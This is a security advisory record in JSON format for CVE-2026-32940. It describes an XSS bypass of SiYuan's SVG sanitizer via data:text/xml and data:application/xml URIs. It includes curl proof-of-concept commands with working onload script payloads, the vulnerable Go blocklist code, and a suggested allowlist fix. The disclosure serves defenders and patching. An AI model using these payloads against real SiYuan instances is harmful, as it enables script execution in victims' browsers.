CVE-2026-32940: Github.com/siyuan note/siyuan Text/xml Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4mx9-3c2h-hwhg",
  "modified" : "2026-03-30T14:03:47Z",
  "published" : "2026-03-17T14:08:11Z",
  "aliases" : [ "CVE-2026-32940" ],
  "summary" : "SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)",
  "details" : "# SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)\n\n`SanitizeSVG` blocks `data:text/html` and `data:image/svg+xml` in href attributes but misses `data:text/xml` and `data:application/xml`. Both render SVG with `onload` JavaScript execution (confirmed in Chromium 136, other browsers untested).\n\n`/api/icon/getDynamicIcon` is unauthenticated and serves SVG as `Content-Type: image/svg+xml`. The `content` parameter (type=8) gets embedded into the SVG via `fmt.Sprintf` with no escaping. The sanitizer catches `data:text/html` but `data:text/xml` passes the blocklist -- only three MIME types are checked.\n\nThis is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via `<img>` tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or `<object>`/`<embed>` embedding.\n\n## Steps to reproduce\n\nAgainst SiYuan v3.6.0 (Docker):\n\n```sh\n# 1. data:text/xml bypass -- <a> element preserved with href intact\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n  --data-urlencode 'type=8' \\\n  --data-urlencode 'content=</text><a href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\">click</a><text>' \\\n  | grep -o '<a [^>]*>'\n# Output: <a href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\">\n\n# 2. data:text/html is correctly blocked -- href stripped\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n  --data-urlencode 'type=8' \\\n  --data-urlencode 'content=</text><a href=\"data:text/html,<script>alert(1)</script>\">click</a><text>' \\\n  | grep -o '<a [^>]*>'\n# Output: <a>  (href removed)\n\n# 3. data:application/xml also bypasses\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n  --data-urlencode 'type=8' \\\n  --data-urlencode 'content=</text><a href=\"data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E\">click</a><text>' \\\n  | grep -o '<a [^>]*>'\n# Output: <a href=\"data:application/xml,...\">  (href preserved)\n```\n\nJS execution confirmed in Chromium 136 -- `data:text/xml` SVG `onload` fires and posts a message to the parent window via iframe test.\n\n## Vulnerable code\n\n`kernel/util/misc.go` lines 289-293:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n    if strings.Contains(val, \"text/html\") || strings.Contains(val, \"image/svg+xml\") || strings.Contains(val, \"application/xhtml+xml\") {\n        continue\n    }\n}\n```\n\n`text/xml` and `application/xml` aren't in the list. Both serve SVG with JS execution.\n\n## Impact\n\nReflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.\n\nDocker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on `nodeIntegration`/`contextIsolation` settings. Issue #15970 (\"XSS to RCE\") explored that path.\n\nThe deeper issue: the blocklist approach for data: URIs is fragile. `text/xml` and `application/xml` are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.\n\n## Affected versions\n\nv3.6.0 (latest, confirmed). All versions since `SanitizeSVG` was added to fix CVE-2026-29183.\n\n## Suggested fix\n\nFlip the data: URI check to an allowlist -- only permit safe image types in href:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n    safe := strings.HasPrefix(val, \"data:image/png\") ||\n            strings.HasPrefix(val, \"data:image/jpeg\") ||\n            strings.HasPrefix(val, \"data:image/gif\") ||\n            strings.HasPrefix(val, \"data:image/webp\")\n    if !safe {\n        continue\n    }\n}\n```\n\nIf you prefer extending the blocklist, add at minimum: `text/xml`, `application/xml`, `text/xsl`, and `multipart/` types.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.0.0-20260313024916-fd6526133bb3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4mx9-3c2h-hwhg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32940"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/commit/d01d561875d4f744e9f6232f1d4831e3642b8696"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-6865-qjcf-286f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184", "CWE-79" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-17T14:08:11Z",
    "nvd_published_at" : "2026-03-20T04:16:49Z"
  }
}